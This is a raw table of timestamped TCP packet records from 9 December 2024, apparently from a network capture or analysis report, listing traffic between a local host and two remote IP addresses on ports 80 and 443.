Dec 9, 2024 23:09:28.311819077 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.311909914 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.311966896 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.312817097 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.312859058 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.312890053 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.312925100 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.313903093 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.313920975 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.313942909 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.313962936 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.314920902 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.314966917 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.315030098 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.315067053 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.316102028 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.316170931 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.316248894 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.316292048 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.317049980 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.317097902 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.317183971 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.317234993 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.318080902 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.318131924 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.318196058 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.318228960 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.319123983 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.319252014 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.319283009 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.319302082 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.320208073 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.320247889 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.320319891 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.320413113 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.321199894 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.321242094 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.321309090 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.321384907 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.322294950 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.322339058 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.322356939 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.322396040 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.355479956 CET	49827	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:28.355488062 CET	443	49827	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:28.355739117 CET	49827	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:28.356914043 CET	49827	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:28.356921911 CET	443	49827	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:28.433182001 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.433228016 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.433264017 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.433312893 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.433732033 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.433775902 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.433828115 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.433870077 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.434736013 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.434777021 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.434919119 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.434957981 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.435820103 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.435884953 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.480052948 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.480120897 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.480153084 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.480201006 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.480492115 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.480540037 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.480602026 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.480647087 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.481570959 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.481616974 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.481663942 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.481709003 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.482794046 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.482840061 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.482913017 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.482955933 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.483635902 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.483680964 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.483719110 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.483762026 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.484672070 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.484720945 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.484790087 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.484833002 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.485721111 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.485765934 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.485836029 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.485878944 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.486780882 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.486825943 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.486906052 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.486951113 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.487857103 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.487922907 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.487991095 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.488034964 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.488876104 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.488919973 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.488975048 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.489020109 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.489942074 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.489989042 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.490024090 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.490067005 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.490979910 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.491027117 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.491194963 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.491239071 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.492028952 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.492074013 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.492152929 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.492196083 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.493138075 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.493181944 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.493200064 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.493243933 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.494122982 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.494165897 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.494178057 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.494220018 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.495142937 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.495187998 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.495260000 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.495305061 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.496189117 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.496233940 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.496299028 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.496345043 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.497283936 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.497328043 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.497395992 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.497440100 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.498290062 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.498354912 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.498389006 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.498430014 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.500004053 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.500046968 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.500106096 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.500149012 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.500365973 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.500408888 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.500494957 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.500543118 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.501460075 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.501504898 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.501589060 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.501632929 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.502485037 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.502527952 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.502583981 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.502628088 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.503516912 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.503565073 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.503720999 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.503768921 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.504585981 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.504626989 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.504702091 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.504743099 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.505666971 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.505708933 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.505805969 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.505850077 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.506695032 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.506742954 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.506850004 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.506892920 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.507725000 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.507769108 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.507831097 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.507873058 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.508851051 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.508913994 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.508948088 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.508991003 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.509823084 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.509867907 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.509951115 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.509996891 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.510891914 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.510937929 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.511002064 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.511985064 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.511997938 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.512042046 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.512151003 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.512195110 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.512964964 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.513024092 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.513060093 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.513102055 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.514009953 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.514064074 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.514204025 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.514247894 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.515217066 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.515265942 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.515300989 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.515347958 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.516252041 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.516295910 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.516410112 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.516454935 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.517338991 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.517385006 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.517476082 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.517515898 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.518405914 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.518450022 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.518610954 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.518656015 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.519397020 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.519459963 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.519479036 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.519526958 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.520319939 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.520365953 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.520428896 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.520473003 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.521378040 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.521421909 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.521471977 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.521517038 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.522397995 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.522443056 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.522514105 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.522558928 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.523454905 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.523499966 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.523614883 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.523658991 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.524539948 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.524586916 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.524713039 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.524756908 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.525566101 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.525609970 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.525639057 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.525681973 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.526602030 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.526720047 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.526767015 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.527627945 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.527683973 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.527746916 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.527791977 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.528685093 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.528728962 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.528759003 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.528805017 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.529736996 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.529803038 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.529834032 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.529880047 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.530776978 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.530822992 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.530951023 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.530997992 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.625523090 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.625675917 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.625706911 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.625739098 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.625946045 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.625998020 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.626044035 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.626096964 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.627010107 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.627058983 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.627089024 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.627137899 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.628022909 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.628079891 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.668607950 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.668662071 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.668776989 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.668776989 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.669079065 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.669127941 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.669166088 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.669214010 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.669245005 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.669289112 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.670232058 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.670280933 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.670414925 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.670461893 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.671303988 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.671354055 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.671395063 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.671443939 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.672343969 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.672391891 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.672421932 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.672472954 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.673396111 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.673444033 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.673480988 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.673532009 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.674431086 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.674478054 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.674494982 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.674542904 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.675481081 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.675530910 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.675560951 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.675606966 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.676523924 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.676588058 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.676623106 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.676671028 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.677583933 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.677627087 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.677681923 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.677728891 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.678612947 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.678663015 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.678723097 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.678769112 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.679676056 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.679725885 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.679795027 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.679840088 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.680713892 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.680761099 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.680830956 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.680876970 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.681752920 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.681799889 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.681865931 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.681912899 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.682816029 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.682878971 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.682967901 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.683015108 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.683897018 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.683948994 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.683984041 CET	80	49815	185.215.113.16	192.168.2.4
